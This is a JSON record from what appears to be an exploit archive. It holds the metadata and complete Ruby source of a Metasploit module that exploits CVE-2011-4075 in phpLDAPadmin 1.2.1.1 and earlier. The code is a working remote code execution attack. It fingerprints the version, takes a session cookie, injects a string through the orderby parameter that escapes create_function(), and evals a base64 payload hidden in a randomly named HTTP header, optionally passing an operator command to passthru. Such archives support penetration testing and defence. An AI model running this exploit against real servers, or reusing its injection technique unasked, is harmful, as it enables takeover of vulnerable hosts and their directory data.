{"exploit":{"id":"MSF-multi--http--phpldapadmin_query_engine","name":"phpLDAPadmin query_engine Remote PHP Code Injection","description":"This module exploits a vulnerability in the lib/functions.php for phpLDAPadmin versions 1.2.1.1 and earlier that allows attackers input parsed directly to the create_function() php function. A patch was issued that uses a whitelist regex expression to check the user supplied input before being parsed to the create_function() call.","cves":["CVE-2011-4075"],"author":"EgiX, mr_me, TecR0c","published":"2011-10-24","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/phpldapadmin_query_engine.rb","path":"modules/exploits/multi/http/phpldapadmin_query_engine.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"phpldapadmin_query_engine.rb","vulnerabilities":[{"id":"CVE-2011-4075","state":"PUBLISHED","title":null,"titleSource":null,"description":"The masort function in lib/functions.php in phpLDAPadmin 1.2.x before 1.2.2 allows remote attackers to execute arbitrary PHP code via the orderby parameter (aka sortby variable) in a query_engine action to cmd.php, as exploited in the wild in October 2011.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-4075","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-4075"},"updatedAt":"2024-08-06T23:53:32.825Z","retrievedAt":"2026-11-26T11:59:51.783Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--phpldapadmin_query_engine.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--phpldapadmin_query_engine","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--phpldapadmin_query_engine/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--phpldapadmin_query_engine/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'phpLDAPadmin query_engine Remote PHP Code Injection',\n        'Description' => %q{\n          This module exploits a vulnerability in the lib/functions.php for\n          phpLDAPadmin versions 1.2.1.1 and earlier that allows attackers input\n          parsed directly to the create_function() php function. A patch was\n          issued that uses a whitelist regex expression to check the user supplied\n          input before being parsed to the create_function() call.\n        },\n        'Author' => [\n          'EgiX <n0b0d13s[at]gmail.com>', # original discovery/poc\n          'mr_me <steventhomasseeley[at]gmail.com>',    # msf\n          'TecR0c <roccogiovannicalvi[at]gmail.com >',  # msf\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2011-4075'],\n          ['OSVDB', '76594'],\n          ['BID', '50331'],\n          ['EDB', '18021']\n        ],\n        'Privileged' => false,\n        'Payload' => {\n          'DisableNops' => true,\n          'Space' => 4000,\n          'Keys' => ['php'],\n        },\n        'Platform' => ['php'],\n        'Arch' => ARCH_PHP,\n        'Targets' => [[ 'Automatic', {}]],\n        'DisclosureDate' => '2011-10-24',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('URI', [true, \"phpLDAPadmin directory path\", \"/phpldapadmin/htdocs/\"]),\n      ]\n    )\n  end\n\n  def check\n    uri = normalize_uri(datastore['URI'], 'index.php')\n\n    res = send_request_raw(\n      {\n        'method' => 'GET',\n        'uri' => uri,\n      }, 3\n    )\n\n    if (res and res.body =~ /phpLDAPadmin \\(1\\.2\\.[0|1]\\.\\d/i)\n      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')\n    end\n\n    return Exploit::CheckCode::Safe('The target is not vulnerable')\n  end\n\n  def get_session\n    uri = normalize_uri(datastore['URI'], 'index.php')\n\n    res = send_request_raw(\n      {\n        'method' => 'GET',\n        'uri' => uri,\n      }, 3\n    )\n\n    if res.nil? or res.get_cookies.empty?\n      print_error(\"Could not generate a valid session\")\n      return\n    end\n\n    return res.get_cookies\n  end\n\n  def exploit\n    # if we are using the exec CMD stager\n    # important to check which php functions are disabled\n    if datastore['CMD']\n      p = \"passthru(\\\"%s\\\");\" % datastore['CMD']\n      p = Rex::Text.encode_base64(p)\n    else\n      p = Rex::Text.encode_base64(payload.encoded)\n    end\n\n    # Generate some random strings\n    hidden_header = rand_text_alpha_upper(6)\n    fake_func_name = rand_text_alpha_upper(2)\n\n    # build sttack string\n    php_code = \"#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\\$_SERVER[HTTP_#{hidden_header}]));die;/*\"\n    data = \"cmd=query_engine&query=none&search=1&orderby=#{php_code}\\r\\n\\r\\n\"\n    session = get_session\n\n    uri = normalize_uri(datastore['URI'])\n    uri << '/' if uri[-1, 1] != '/'\n    uri << 'cmd.php'\n\n    res = send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => uri,\n        'data' => data,\n        'headers' =>\n          {\n            \"#{hidden_header}\" => p,\n            'Cookie' => session,\n            'Connection' => 'Close',\n          },\n      }, 3\n    )\n\n    print_status(\"%s\" % res.body) if datastore['CMD']\n  end\nend\n","sha256":"b993e3a0e886d80a062e5c04a9c6cb8b2212ad86b269ffbcd68215b531e26fe8","bytes":3761,"fetchedAt":"2026-11-26T11:59:45.652Z","encoding":"utf-8 (display only; download retains original bytes)"}